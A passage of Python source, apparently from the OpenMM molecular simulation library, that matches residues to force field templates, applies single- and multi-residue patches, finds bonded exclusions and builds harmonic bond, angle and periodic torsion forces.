atoms[1], atoms[2], site.weights[0], site.weights[1], site.weights[2]))\n            elif site.type == 'outOfPlane':\n                sys.setVirtualSite(index, mm.OutOfPlaneSite(atoms[0], atoms[1], atoms[2], site.weights[0], site.weights[1], site.weights[2]))\n            elif site.type == 'localCoords':\n                sys.setVirtualSite(index, mm.LocalCoordinatesSite(atoms, site.originWeights, site.xWeights, site.yWeights, site.localPos))\n\n        # Add forces to the System\n\n        for force in self._forces:\n            force.createForce(sys, data, nonbondedMethod, nonbondedCutoff, args)\n        if removeCMMotion:\n            sys.addForce(mm.CMMotionRemover())\n\n        # Let force generators do postprocessing\n\n        for force in self._forces:\n            if 'postprocessSystem' in dir(force):\n                force.postprocessSystem(sys, data, args)\n\n        # Execute scripts found in the XML files.\n\n        for script in self._scripts:\n            exec(script, locals())\n        args.checkArgs(self.createSystem)\n        return sys\n\n\n    def _matchAllResiduesToTemplates(self, data, topology, residueTemplates, ignoreExternalBonds, ignoreExtraParticles=False, recordParameters=True):\n        \"\"\"Return a list of which template matches each residue in the topology, and assign atom types.\"\"\"\n        templateForResidue = [None]*topology.getNumResidues()\n        unmatchedResidues = []\n        for chain in topology.chains():\n            for res in chain.residues():\n                if res in residueTemplates:\n                    tname = residueTemplates[res]\n                    template = self._templates[tname]\n                    matches = compiled.matchResidueToTemplate(res, template, data.bondedToAtom, ignoreExternalBonds, ignoreExtraParticles)\n                    if matches is None:\n                        raise Exception('User-supplied template %s does not match the residue %d (%s)' % (tname, res.index+1, res.name))\n                else:\n                    # Attempt to match one of the existing templates.\n                    [template, matches] = self._getResidueTemplateMatches(res, data.bondedToAtom, ignoreExternalBonds=ignoreExternalBonds, ignoreExtraParticles=ignoreExtraParticles)\n                if matches is None:\n                    unmatchedResidues.append(res)\n                else:\n                    if recordParameters:\n                        data.recordMatchedAtomParameters(res, template, matches)\n                    templateForResidue[res.index] = template\n\n        # Try to apply patches to find matches for any unmatched residues.\n\n        if len(unmatchedResidues) > 0:\n            unmatchedResidues = _applyPatchesToMatchResidues(self, data, unmatchedResidues, templateForResidue, data.bondedToAtom, ignoreExternalBonds, ignoreExtraParticles)\n\n        # If we still haven't found a match for a residue, attempt to use residue template generators to create\n        # new templates (and potentially atom types/parameters).\n\n        for res in unmatchedResidues:\n            # A template might have been generated on an earlier iteration of this loop.\n            [template, matches] = self._getResidueTemplateMatches(res, data.bondedToAtom, ignoreExternalBonds=ignoreExternalBonds, ignoreExtraParticles=ignoreExtraParticles)\n            if matches is None:\n                # Try all generators.\n                for generator in self._templateGenerators:\n                    if generator(self, res):\n                        # This generator has registered a new residue template that should match.\n                        [template, matches] = self._getResidueTemplateMatches(res, data.bondedToAtom, ignoreExternalBonds=ignoreExternalBonds, ignoreExtraParticles=ignoreExtraParticles)\n                        if matches is None:\n                            # Something went wrong because the generated template does not match the residue signature.\n                            raise Exception('The residue handler %s indicated it had correctly parameterized residue %s, but the generated template did not match the residue signature.' % (generator.__class__.__name__, str(res)))\n                        else:\n                            # We successfully generated a residue template.  Break out of the for loop.\n                            break\n            if matches is None:\n                raise ValueError('No template found for residue %d (%s).  %s  For more information, see https://github.com/openmm/openmm/wiki/Frequently-Asked-Questions#template' % (res.index+1, res.name, _findMatchErrors(self, res)))\n            else:\n                if recordParameters:\n                    data.recordMatchedAtomParameters(res, template, matches)\n                templateForResidue[res.index] = template\n        return templateForResidue\n\n\ndef _findBondsForExclusions(data, sys):\n    \"\"\"Create a list of bonds to use when identifying exclusions.\"\"\"\n    bondIndices = []\n    for bond in data.bonds:\n        bondIndices.append((bond.atom1, bond.atom2))\n\n    # If a virtual site does *not* share exclusions with another atom, add a bond between it and its first parent atom.\n\n    for i in range(sys.getNumParticles()):\n        if sys.isVirtualSite(i):\n            (site, atoms, excludeWith) = data.virtualSites[data.atoms[i]]\n            if excludeWith is None:\n                bondIndices.append((i, site.getParticle(0)))\n\n    # Certain particles, such as lone pairs and Drude particles, share exclusions with a parent atom.\n    # If the parent atom does not interact with an atom, the child particle does not either.\n\n    for atom1, atom2 in bondIndices:\n        for child1 in data.excludeAtomWith[atom1]:\n            bondIndices.append((child1, atom2))\n            for child2 in data.excludeAtomWith[atom2]:\n                bondIndices.append((child1, child2))\n        for child2 in data.excludeAtomWith[atom2]:\n            bondIndices.append((atom1, child2))\n    for atom in data.atoms:\n        for child in data.excludeAtomWith[atom.index]:\n            bondIndices.append((child, atom.index))\n    return bondIndices\n\ndef _findExclusions(bondIndices, maxSeparation, numAtoms):\n    \"\"\"Identify pairs of atoms in the same molecule separated by no more than maxSeparation bonds.\"\"\"\n    bondedTo = [set() for i in range(numAtoms)]\n    for i, j in bondIndices:\n        bondedTo[i].add(j)\n        bondedTo[j].add(i)\n\n    # Identify all neighbors of each atom with each separation.\n\n    bondedWithSeparation = [bondedTo]\n    for i in range(maxSeparation-1):\n        lastBonds = bondedWithSeparation[-1]\n        newBonds = deepcopy(lastBonds)\n        for atom in range(numAtoms):\n            for a1 in lastBonds[atom]:\n                for a2 in bondedTo[a1]:\n                    newBonds[atom].add(a2)\n        bondedWithSeparation.append(newBonds)\n\n    # Build the list of pairs.\n\n    pairs = []\n    for atom in range(numAtoms):\n        for otherAtom in bondedWithSeparation[-1][atom]:\n            if otherAtom > atom:\n                # Determine the minimum number of bonds between them.\n                sep = maxSeparation\n                for i in reversed(range(maxSeparation-1)):\n                    if otherAtom in bondedWithSeparation[i][atom]:\n                        sep -= 1\n                    else:\n                        break\n                pairs.append((atom, otherAtom, sep))\n    return pairs\n\n\ndef _findGroups(bondedTo):\n    \"\"\"Given bonds that connect atoms, identify the connected groups.\"\"\"\n    atomGroup = [None]*len(bondedTo)\n    numGroups = 0\n    for i in range(len(bondedTo)):\n        if atomGroup[i] is None:\n            # Start a new group.\n\n            atomStack = [i]\n            neighborStack = [0]\n            group = numGroups\n            numGroups += 1\n\n            # Recursively tag all the bonded atoms.\n\n            while len(atomStack) > 0:\n                atom = atomStack[-1]\n                atomGroup[atom] = group\n                while neighborStack[-1] < len(bondedTo[atom]) and atomGroup[bondedTo[atom][neighborStack[-1]]] is not None:\n                    neighborStack[-1] += 1\n                if neighborStack[-1] < len(bondedTo[atom]):\n                    atomStack.append(bondedTo[atom][neighborStack[-1]])\n                    neighborStack.append(0)\n                else:\n                    atomStack.pop()\n                    neighborStack.pop()\n    return atomGroup\n\ndef _countResidueAtoms(elements):\n    \"\"\"Count the number of atoms of each element in a residue.\"\"\"\n    counts = {}\n    for element in elements:\n        if element in counts:\n            counts[element] += 1\n        else:\n            counts[element] = 1\n    return counts\n\n\ndef _createResidueSignature(elements):\n    \"\"\"Create a signature for a residue based on the elements of the atoms it contains.\"\"\"\n    counts = _countResidueAtoms(elements)\n    sig = []\n    for c in counts:\n        if c is not None:\n            sig.append((c, counts[c]))\n    sig.sort(key=lambda x: -x[0].mass)\n\n    # Convert it to a string.\n\n    s = ''\n    for element, count in sig:\n        s += element.symbol+str(count)\n    return s\n\n\ndef _applyPatchesToMatchResidues(forcefield, data, residues, templateForResidue, bondedToAtom, ignoreExternalBonds, ignoreExtraParticles):\n    \"\"\"Try to apply patches to find matches for residues.\"\"\"\n    # Start by creating all templates than can be created by applying a combination of one-residue patches\n    # to a single template.  The number of these is usually not too large, and they often cover a large fraction\n    # of residues.\n\n    patchedTemplateSignatures = {}\n    patchedTemplates = {}\n    for name, template in forcefield._templates.items():\n        if name in forcefield._templatePatches:\n            patches = sorted([forcefield._patches[patchName] for patchName, patchResidueIndex in forcefield._templatePatches[name] if forcefield._patches[patchName].numResidues == 1])\n            if len(patches) > 0:\n                newTemplates = []\n                patchedTemplates[name] = newTemplates\n                _generatePatchedSingleResidueTemplates(template, patches, 0, newTemplates, set())\n                for patchedTemplate in newTemplates:\n                    signature = _createResidueSignature([atom.element for atom in patchedTemplate.atoms])\n                    if signature in patchedTemplateSignatures:\n                        patchedTemplateSignatures[signature].append(patchedTemplate)\n                    else:\n                        patchedTemplateSignatures[signature] = [patchedTemplate]\n\n    # Now see if any of those templates matches any of the residues.\n\n    unmatchedResidues = []\n    for res in residues:\n        [template, matches] = forcefield._getResidueTemplateMatches(res, bondedToAtom, patchedTemplateSignatures, ignoreExternalBonds, ignoreExtraParticles)\n        if matches is None:\n            unmatchedResidues.append(res)\n        else:\n            data.recordMatchedAtomParameters(res, template, matches)\n            templateForResidue[res.index] = template\n    if len(unmatchedResidues) == 0:\n        return []\n\n    # We need to consider multi-residue patches.  This can easily lead to a combinatorial explosion, so we make a simplifying\n    # assumption: that no residue is affected by more than one multi-residue patch (in addition to any number of single-residue\n    # patches).  Record all multi-residue patches, and the templates they can be applied to.\n\n    patches = {}\n    maxPatchSize = 0\n    for patch in forcefield._patches.values():\n        if patch.numResidues > 1:\n            patches[patch.name] = [[] for i in range(patch.numResidues)]\n            maxPatchSize = max(maxPatchSize, patch.numResidues)\n    if maxPatchSize == 0:\n        return unmatchedResidues # There aren't any multi-residue patches\n    for templateName in forcefield._templatePatches:\n        for patchName, patchResidueIndex in forcefield._templatePatches[templateName]:\n            if patchName in patches:\n                # The patch should accept this template, *and* all patched versions of it generated above.\n                patches[patchName][patchResidueIndex].append(forcefield._templates[templateName])\n                if templateName in patchedTemplates:\n                    patches[patchName][patchResidueIndex] += patchedTemplates[templateName]\n\n    # Record which unmatched residues are bonded to each other.\n\n    bonds = set()\n    topology = residues[0].chain.topology\n    for atom1, atom2 in topology.bonds():\n        if atom1.residue != atom2.residue:\n            res1 = atom1.residue\n            res2 = atom2.residue\n            if res1 in unmatchedResidues and res2 in unmatchedResidues:\n                bond = tuple(sorted((res1, res2), key=lambda x: x.index))\n                if bond not in bonds:\n                    bonds.add(bond)\n\n    # Identify clusters of unmatched residues that are all bonded to each other.  These are the ones we'll\n    # try to apply multi-residue patches to.\n\n    clusterSize = 2\n    clusters = bonds\n    while clusterSize <= maxPatchSize:\n        # Try to apply patches to clusters of this size.\n\n        for patchName in patches:\n            patch = forcefield._patches[patchName]\n            if patch.numResidues == clusterSize:\n                matchedClusters = _matchToMultiResiduePatchedTemplates(data, clusters, patch, patches[patchName], bondedToAtom, ignoreExternalBonds, ignoreExtraParticles)\n                for cluster in matchedClusters:\n                    for residue in cluster:\n                        unmatchedResidues.remove(residue)\n                bonds = set(bond for bond in bonds if bond[0] in unmatchedResidues and bond[1] in unmatchedResidues)\n\n        # Now extend the clusters to find ones of the next size up.\n\n        largerClusters = set()\n        for cluster in clusters:\n            for bond in bonds:\n                if bond[0] in cluster and bond[1] not in cluster:\n                    newCluster = tuple(sorted(cluster+(bond[1],), key=lambda x: x.index))\n                    largerClusters.add(newCluster)\n                elif bond[1] in cluster and bond[0] not in cluster:\n                    newCluster = tuple(sorted(cluster+(bond[0],), key=lambda x: x.index))\n                    largerClusters.add(newCluster)\n        if len(largerClusters) == 0:\n            # There are no clusters of this size or larger\n            break\n        clusters = largerClusters\n        clusterSize += 1\n\n    return unmatchedResidues\n\n\ndef _generatePatchedSingleResidueTemplates(template, patches, index, newTemplates, alteredAtoms):\n    \"\"\"Apply all possible combinations of a set of single-residue patches to a template.\"\"\"\n    try:\n        if len(alteredAtoms.intersection(patches[index].allAtomNames)) > 0:\n            # This patch would alter an atom that another patch has already altered,\n            # so don't apply it.\n            patchedTemplate = None\n        else:\n            patchedTemplate = patches[index].createPatchedTemplates([template])[0]\n            newTemplates.append(patchedTemplate)\n    except:\n        # This probably means the patch is inconsistent with another one that has already been applied,\n        # so just ignore it.\n        patchedTemplate = None\n\n    # Call this function recursively to generate combinations of patches.\n\n    if index+1 < len(patches):\n        _generatePatchedSingleResidueTemplates(template, patches, index+1, newTemplates, alteredAtoms)\n        if patchedTemplate is not None:\n            newAlteredAtoms = alteredAtoms.union(patches[index].allAtomNames)\n            _generatePatchedSingleResidueTemplates(patchedTemplate, patches, index+1, newTemplates, newAlteredAtoms)\n\n\ndef _matchToMultiResiduePatchedTemplates(data, clusters, patch, residueTemplates, bondedToAtom, ignoreExternalBonds, ignoreExtraParticles):\n    \"\"\"Apply a multi-residue patch to templates, then try to match them against clusters of residues.\"\"\"\n    matchedClusters = []\n    selectedTemplates = [None]*patch.numResidues\n    _applyMultiResiduePatch(data, clusters, patch, residueTemplates, selectedTemplates, 0, matchedClusters, bondedToAtom, ignoreExternalBonds, ignoreExtraParticles)\n    return matchedClusters\n\n\ndef _applyMultiResiduePatch(data, clusters, patch, candidateTemplates, selectedTemplates, index, matchedClusters, bondedToAtom, ignoreExternalBonds, ignoreExtraParticles):\n    \"\"\"This is called recursively to apply a multi-residue patch to all possible combinations of templates.\"\"\"\n\n    if index < patch.numResidues:\n        for template in candidateTemplates[index]:\n            selectedTemplates[index] = template\n            _applyMultiResiduePatch(data, clusters, patch, candidateTemplates, selectedTemplates, index+1, matchedClusters, bondedToAtom, ignoreExternalBonds, ignoreExtraParticles)\n    else:\n        # We're at the deepest level of the recursion.  We've selected a template for each residue, so apply the patch,\n        # then try to match it against clusters.\n\n        try:\n            patchedTemplates = patch.createPatchedTemplates(selectedTemplates)\n        except:\n            # This probably means the patch is inconsistent with another one that has already been applied,\n            # so just ignore it.\n            return\n        newlyMatchedClusters = []\n        for cluster in clusters:\n            for residues in itertools.permutations(cluster):\n                residueMatches = []\n                for residue, template in zip(residues, patchedTemplates):\n                    matches = compiled.matchResidueToTemplate(residue, template, bondedToAtom, ignoreExternalBonds, ignoreExtraParticles)\n                    if matches is None:\n                        residueMatches = None\n                        break\n                    else:\n                        residueMatches.append(matches)\n                if residueMatches is not None:\n                    # Each residue individually matches.  Now make sure they're bonded in the correct way.\n\n                    bondsMatch = True\n                    for a1, a2 in patch.addedBonds:\n                        res1 = a1.residue\n                        res2 = a2.residue\n                        if res1 != res2:\n                            # The patch adds a bond between residues.  Make sure that bond exists.\n\n                            atoms1 = patchedTemplates[res1].atoms\n                            atoms2 = patchedTemplates[res2].atoms\n                            index1 = next(i for i in range(len(atoms1)) if atoms1[residueMatches[res1][i]].name == a1.name)\n                            index2 = next(i for i in range(len(atoms2)) if atoms2[residueMatches[res2][i]].name == a2.name)\n                            atom1 = list(residues[res1].atoms())[index1]\n                            atom2 = list(residues[res2].atoms())[index2]\n                            bondsMatch &= atom2.index in bondedToAtom[atom1.index]\n                    if bondsMatch:\n                        # We successfully matched the template to the residues.  Record the parameters.\n\n                        for i in range(patch.numResidues):\n                            data.recordMatchedAtomParameters(residues[i], patchedTemplates[i], residueMatches[i])\n                        newlyMatchedClusters.append(cluster)\n                        break\n\n        # Record which clusters were successfully matched.\n\n        matchedClusters += newlyMatchedClusters\n        for cluster in newlyMatchedClusters:\n            clusters.remove(cluster)\n\n\ndef _findMatchErrors(forcefield, res):\n    \"\"\"Try to guess why a residue failed to match any template and return an error message.\"\"\"\n    residueCounts = _countResidueAtoms([atom.element for atom in res.atoms()])\n    numResidueAtoms = sum(residueCounts.values())\n    numResidueHeavyAtoms = sum(residueCounts[element] for element in residueCounts if element not in (None, elem.hydrogen))\n\n    # Loop over templates and see how closely each one might match.\n\n    bestMatchName = None\n    numBestMatchAtoms = 3*numResidueAtoms\n    numBestMatchHeavyAtoms = 2*numResidueHeavyAtoms\n    for templateName in forcefield._templates:\n        template = forcefield._templates[templateName]\n        templateCounts = _countResidueAtoms([atom.element for atom in template.atoms])\n\n        # Does the residue have any atoms that clearly aren't in the template?\n\n        if any(element not in templateCounts or templateCounts[element] < residueCounts[element] for element in residueCounts):\n            continue\n\n        # If there are too many missing atoms, discard this template.\n\n        numTemplateAtoms = sum(templateCounts.values())\n        numTemplateHeavyAtoms = sum(templateCounts[element] for element in templateCounts if element not in (None, elem.hydrogen))\n        if numTemplateAtoms > numBestMatchAtoms:\n            continue\n        if numTemplateHeavyAtoms > numBestMatchHeavyAtoms:\n            continue\n\n        # If this template has the same number of missing atoms as our previous best one, look at the name\n        # to decide which one to use.\n\n        if numTemplateAtoms == numBestMatchAtoms:\n            if bestMatchName == res.name or res.name not in templateName:\n                continue\n\n        # Accept this as our new best match.\n\n        bestMatchName = templateName\n        numBestMatchAtoms = numTemplateAtoms\n        numBestMatchHeavyAtoms = numTemplateHeavyAtoms\n        numBestMatchExtraParticles = len([atom for atom in template.atoms if atom.element is None])\n\n    # Return an appropriate error message.\n\n    if numBestMatchAtoms == numResidueAtoms:\n        chainResidues = list(res.chain.residues())\n        if len(chainResidues) > 1 and (res == chainResidues[0] or res == chainResidues[-1]):\n            return 'The set of atoms matches %s, but the bonds are different.  Perhaps the chain is missing a terminal group?' % bestMatchName\n        return 'The set of atoms matches %s, but the bonds are different.' % bestMatchName\n    if bestMatchName is not None:\n        if numBestMatchHeavyAtoms == numResidueHeavyAtoms:\n            numResidueExtraParticles = len([atom for atom in res.atoms() if atom.element is None])\n            if numResidueExtraParticles == 0 and numBestMatchExtraParticles == 0:\n                return 'The set of atoms is similar to %s, but it is missing %d hydrogen atoms.' % (bestMatchName, numBestMatchAtoms-numResidueAtoms)\n            if numBestMatchExtraParticles-numResidueExtraParticles == numBestMatchAtoms-numResidueAtoms:\n                return 'The set of atoms is similar to %s, but it is missing %d extra particles.  You can add them with Modeller.addExtraParticles().' % (bestMatchName, numBestMatchAtoms-numResidueAtoms)\n        return 'The set of atoms is similar to %s, but it is missing %d atoms.' % (bestMatchName, numBestMatchAtoms-numResidueAtoms)\n    return 'This might mean your input topology is missing some atoms or bonds, or possibly that you are using the wrong force field.'\n\ndef _createResidueTemplate(residue):\n    \"\"\"Create a _TemplateData template from a Residue object.\n\n    Parameters\n    ----------\n    residue : Residue\n        The Residue from which the template is to be constructed.\n\n    Returns\n    -------\n    template : _TemplateData\n        The residue template, with atom types set to None.\n\n    This method may be useful in creating new residue templates for residues without templates defined by the ForceField.\n\n    \"\"\"\n    template = ForceField._TemplateData(residue.name)\n    for atom in residue.atoms():\n        template.addAtom(ForceField._TemplateAtomData(atom.name, None, atom.element))\n    for (atom1,atom2) in residue.internal_bonds():\n        template.addBondByName(atom1.name, atom2.name)\n    residue_atoms = [ atom for atom in residue.atoms() ]\n    for (atom1,atom2) in residue.external_bonds():\n        if atom1 in residue_atoms:\n            template.addExternalBondByName(atom1.name)\n        elif atom2 in residue_atoms:\n            template.addExternalBondByName(atom2.name)\n    return template\n\ndef _matchImproper(data, torsion, generator):\n    type1 = data.atomType[data.atoms[torsion[0]]]\n    type2 = data.atomType[data.atoms[torsion[1]]]\n    type3 = data.atomType[data.atoms[torsion[2]]]\n    type4 = data.atomType[data.atoms[torsion[3]]]\n    wildcard = generator.ff._atomClasses['']\n    match = None\n    for tordef in generator.improper:\n        types1 = tordef.types1\n        types2 = tordef.types2\n        types3 = tordef.types3\n        types4 = tordef.types4\n        hasWildcard = (wildcard in (types1, types2, types3, types4))\n        if match is not None and hasWildcard:\n            # Prefer specific definitions over ones with wildcards\n            continue\n        if type1 in types1:\n            for (t2, t3, t4) in itertools.permutations(((type2, 1), (type3, 2), (type4, 3))):\n                if t2[0] in types2 and t3[0] in types3 and t4[0] in types4:\n                    if tordef.ordering == 'default':\n                        # Workaround to be more consistent with AMBER.  It uses wildcards to define most of its\n                        # impropers, which leaves the ordering ambiguous.  It then follows some bizarre rules\n                        # to pick the order.\n                        a1 = torsion[t2[1]]\n                        a2 = torsion[t3[1]]\n                        e1 = data.atoms[a1].element\n                        e2 = data.atoms[a2].element\n                        if e1 == e2 and a1 > a2:\n                            (a1, a2) = (a2, a1)\n                        elif e1 != elem.carbon and (e2 == elem.carbon or e1.mass < e2.mass):\n                            (a1, a2) = (a2, a1)\n                        match = (a1, a2, torsion[0], torsion[t4[1]], tordef)\n                        break\n                    elif tordef.ordering == 'charmm':\n                        if hasWildcard:\n                            # Workaround to be more consistent with AMBER.  It uses wildcards to define most of its\n                            # impropers, which leaves the ordering ambiguous.  It then follows some bizarre rules\n                            # to pick the order.\n                            a1 = torsion[t2[1]]\n                            a2 = torsion[t3[1]]\n                            e1 = data.atoms[a1].element\n                            e2 = data.atoms[a2].element\n                            if e1 == e2 and a1 > a2:\n                                (a1, a2) = (a2, a1)\n                            elif e1 != elem.carbon and (e2 == elem.carbon or e1.mass < e2.mass):\n                                (a1, a2) = (a2, a1)\n                            match = (a1, a2, torsion[0], torsion[t4[1]], tordef)\n                        else:\n                            # There are no wildcards, so the order is unambiguous.\n                            match = (torsion[0], torsion[t2[1]], torsion[t3[1]], torsion[t4[1]], tordef)\n                        break\n                    elif tordef.ordering == 'amber':\n                        # topology atom indexes\n                        a2 = torsion[t2[1]]\n                        a3 = torsion[t3[1]]\n                        a4 = torsion[t4[1]]\n                        # residue indexes\n                        r2 = data.atoms[a2].residue.index\n                        r3 = data.atoms[a3].residue.index\n                        r4 = data.atoms[a4].residue.index\n                        # template atom indexes\n                        ta2 = data.atomTemplateIndexes[data.atoms[a2]]\n                        ta3 = data.atomTemplateIndexes[data.atoms[a3]]\n                        ta4 = data.atomTemplateIndexes[data.atoms[a4]]\n                        # elements\n                        e2 = data.atoms[a2].element\n                        e3 = data.atoms[a3].element\n                        e4 = data.atoms[a4].element\n                        if not hasWildcard:\n                            if t2[0] == t4[0] and (r2 > r4 or (r2 == r4 and ta2 > ta4)):\n                                (a2, a4) = (a4, a2)\n                                r2 = data.atoms[a2].residue.index\n                                r4 = data.atoms[a4].residue.index\n                                ta2 = data.atomTemplateIndexes[data.atoms[a2]]\n                                ta4 = data.atomTemplateIndexes[data.atoms[a4]]\n                            if t3[0] == t4[0] and (r3 > r4 or (r3 == r4 and ta3 > ta4)):\n                                (a3, a4) = (a4, a3)\n                                r3 = data.atoms[a3].residue.index\n                                r4 = data.atoms[a4].residue.index\n                                ta3 = data.atomTemplateIndexes[data.atoms[a3]]\n                                ta4 = data.atomTemplateIndexes[data.atoms[a4]]\n                            if t2[0] == t3[0] and (r2 > r3 or (r2 == r3 and ta2 > ta3)):\n                                (a2, a3) = (a3, a2)\n                        else:\n                            if e2 == e4 and (r2 > r4 or (r2 == r4 and ta2 > ta4)):\n                                (a2, a4) = (a4, a2)\n                                r2 = data.atoms[a2].residue.index\n                                r4 = data.atoms[a4].residue.index\n                                ta2 = data.atomTemplateIndexes[data.atoms[a2]]\n                                ta4 = data.atomTemplateIndexes[data.atoms[a4]]\n                            if e3 == e4 and (r3 > r4 or (r3 == r4 and ta3 > ta4)):\n                                (a3, a4) = (a4, a3)\n                                r3 = data.atoms[a3].residue.index\n                                r4 = data.atoms[a4].residue.index\n                                ta3 = data.atomTemplateIndexes[data.atoms[a3]]\n                                ta4 = data.atomTemplateIndexes[data.atoms[a4]]\n                            if r2 > r3 or (r2 == r3 and ta2 > ta3):\n                                (a2, a3) = (a3, a2)\n                        match = (a2, a3, torsion[0], a4, tordef)\n                        break\n                    elif tordef.ordering == 'smirnoff':\n                        # topology atom indexes\n                        a1 = torsion[0]\n                        a2 = torsion[t2[1]]\n                        a3 = torsion[t3[1]]\n                        a4 = torsion[t4[1]]\n                        # enforce exact match\n                        match = (a1, a2, a3, a4, tordef)\n                        break\n\n    return match\n\n\n# The following classes are generators that know how to create Force subclasses and add them to a System that is being\n# created.  Each generator class must define two methods: 1) a static method that takes an etree Element and a ForceField,\n# and returns the corresponding generator object; 2) a createForce() method that constructs the Force object and adds it\n# to the System.  The static method should be added to the parsers map.\n\n## @private\nclass HarmonicBondGenerator(object):\n    \"\"\"A HarmonicBondGenerator constructs a HarmonicBondForce.\"\"\"\n\n    def __init__(self, forcefield):\n        self.ff = forcefield\n        self.bondsForAtomType = defaultdict(set)\n        self.types1 = []\n        self.types2 = []\n        self.length = []\n        self.k = []\n\n    def registerBond(self, parameters):\n        types = self.ff._findAtomTypes(parameters, 2)\n        if None not in types:\n            index = len(self.types1)\n            self.types1.append(types[0])\n            self.types2.append(types[1])\n            for t in types[0]:\n                self.bondsForAtomType[t].add(index)\n            for t in types[1]:\n                self.bondsForAtomType[t].add(index)\n            self.length.append(_convertParameterToNumber(parameters['length']))\n            self.k.append(_convertParameterToNumber(parameters['k']))\n\n    @staticmethod\n    def parseElement(element, ff):\n        existing = [f for f in ff._forces if isinstance(f, HarmonicBondGenerator)]\n        if len(existing) == 0:\n            generator = HarmonicBondGenerator(ff)\n            ff.registerGenerator(generator)\n        else:\n            generator = existing[0]\n        for bond in element.findall('Bond'):\n            generator.registerBond(bond.attrib)\n\n    def createForce(self, sys, data, nonbondedMethod, nonbondedCutoff, args):\n        existing = [f for f in sys.getForces() if type(f) == mm.HarmonicBondForce]\n        if len(existing) == 0:\n            force = mm.HarmonicBondForce()\n            sys.addForce(force)\n        else:\n            force = existing[0]\n        for bond in data.bonds:\n            type1 = data.atomType[data.atoms[bond.atom1]]\n            type2 = data.atomType[data.atoms[bond.atom2]]\n            for i in self.bondsForAtomType[type1]:\n                types1 = self.types1[i]\n                types2 = self.types2[i]\n                if (type1 in types1 and type2 in types2) or (type1 in types2 and type2 in types1):\n                    bond.length = self.length[i]\n                    if bond.isConstrained:\n                        data.addConstraint(sys, bond.atom1, bond.atom2, self.length[i])\n                    if self.k[i] != 0:\n                        # flexibleConstraints allows us to add parameters even if the DOF is\n                        # constrained\n                        if not bond.isConstrained or args.get('flexibleConstraints', False):\n                            force.addBond(bond.atom1, bond.atom2, self.length[i], self.k[i])\n                    break\n\nparsers[\"HarmonicBondForce\"] = HarmonicBondGenerator.parseElement\n\n\n## @private\nclass HarmonicAngleGenerator(object):\n    \"\"\"A HarmonicAngleGenerator constructs a HarmonicAngleForce.\"\"\"\n\n    def __init__(self, forcefield):\n        self.ff = forcefield\n        self.anglesForAtom2Type = defaultdict(list)\n        self.types1 = []\n        self.types2 = []\n        self.types3 = []\n        self.angle = []\n        self.k = []\n\n    def registerAngle(self, parameters):\n        types = self.ff._findAtomTypes(parameters, 3)\n        if None not in types:\n            index = len(self.types1)\n            self.types1.append(types[0])\n            self.types2.append(types[1])\n            self.types3.append(types[2])\n            for t in types[1]:\n                self.anglesForAtom2Type[t].append(index)\n            self.angle.append(_convertParameterToNumber(parameters['angle']))\n            self.k.append(_convertParameterToNumber(parameters['k']))\n\n    @staticmethod\n    def parseElement(element, ff):\n        existing = [f for f in ff._forces if isinstance(f, HarmonicAngleGenerator)]\n        if len(existing) == 0:\n            generator = HarmonicAngleGenerator(ff)\n            ff.registerGenerator(generator)\n        else:\n            generator = existing[0]\n        for angle in element.findall('Angle'):\n            generator.registerAngle(angle.attrib)\n\n    def createForce(self, sys, data, nonbondedMethod, nonbondedCutoff, args):\n        pass\n\n    def postprocessSystem(self, sys, data, args):\n        # We need to wait until after all bonds have been added so their lengths will be set correctly.\n\n        existing = [f for f in sys.getForces() if type(f) == mm.HarmonicAngleForce]\n        if len(existing) == 0:\n            force = mm.HarmonicAngleForce()\n            sys.addForce(force)\n        else:\n            force = existing[0]\n        for (angle, isConstrained) in zip(data.angles, data.isAngleConstrained):\n            type1 = data.atomType[data.atoms[angle[0]]]\n            type2 = data.atomType[data.atoms[angle[1]]]\n            type3 = data.atomType[data.atoms[angle[2]]]\n            for i in self.anglesForAtom2Type[type2]:\n                types1 = self.types1[i]\n                types2 = self.types2[i]\n                types3 = self.types3[i]\n                if (type1 in types1 and type2 in types2 and type3 in types3) or (type1 in types3 and type2 in types2 and type3 in types1):\n                    if isConstrained:\n                        # Find the two bonds that make this angle.\n\n                        bond1 = None\n                        bond2 = None\n                        for bond in data.atomBonds[angle[1]]:\n                            atom1 = data.bonds[bond].atom1\n                            atom2 = data.bonds[bond].atom2\n                            if atom1 == angle[0] or atom2 == angle[0]:\n                                bond1 = bond\n                            elif atom1 == angle[2] or atom2 == angle[2]:\n                                bond2 = bond\n\n                        # Compute the distance between atoms and add a constraint\n\n                        if bond1 is not None and bond2 is not None:\n                            l1 = data.bonds[bond1].length\n                            l2 = data.bonds[bond2].length\n                            if l1 is not None and l2 is not None:\n                                length = sqrt(l1*l1 + l2*l2 - 2*l1*l2*cos(self.angle[i]))\n                                data.addConstraint(sys, angle[0], angle[2], length)\n                    if self.k[i] != 0:\n                        if not isConstrained or args.get('flexibleConstraints', False):\n                            force.addAngle(angle[0], angle[1], angle[2], self.angle[i], self.k[i])\n                    break\n\nparsers[\"HarmonicAngleForce\"] = HarmonicAngleGenerator.parseElement\n\n\n## @private\nclass PeriodicTorsion(object):\n    \"\"\"A PeriodicTorsion records the information for a periodic torsion definition.\"\"\"\n\n    def __init__(self, types):\n        self.types1 = types[0]\n        self.types2 = types[1]\n        self.types3 = types[2]\n        self.types4 = types[3]\n        self.periodicity = []\n        self.phase = []\n        self.k = []\n        self.ordering = 'default'\n\n## @private\nclass PeriodicTorsionGenerator(object):\n    \"\"\"A PeriodicTorsionGenerator constructs a PeriodicTorsionForce.\"\"\"\n\n    def __init__(self, forcefield):\n        self.ff = forcefield\n        self.proper = []\n        self.improper = []\n        self.propersForAtomType = defaultdict(set)\n\n    def registerProperTorsion(self, parameters):\n        torsion = self.ff._parseTorsion(parameters)\n        if torsion is not None:\n            index = len(self.proper)\n            self.proper.append(torsion)\n            for t in torsion.types2:\n                self.propersForAtomType[t].add(index)\n            for t in torsion.types3:\n                self.propersForAtomType[t].add(index)\n\n    def registerImproperTorsion(self, parameters, ordering='default'):\n        torsion = self.ff._parseTorsion(parameters)\n        if torsion is not None:\n            if ordering in ['default', 'charmm', 'amber', 'smirnoff']:\n                torsion.ordering = ordering\n            else:\n                raise ValueError('Illegal ordering type %s for improper torsion %s' % (ordering, torsion))\n            self.improper.append(torsion)\n\n    @staticmethod\n    def parseElement(element, ff):\n        existing = [f for f in ff._forces if isinstance(f, PeriodicTorsionGenerator)]\n        if len(existing) == 0:\n            generator = PeriodicTorsionGenerator(ff)\n            ff.registerGenerator(generator)\n        else:\n            generator = existing[0]\n        for torsion in element.findall('Proper'):\n            generator.registerProperTorsion(torsion.attrib)\n        for torsion in 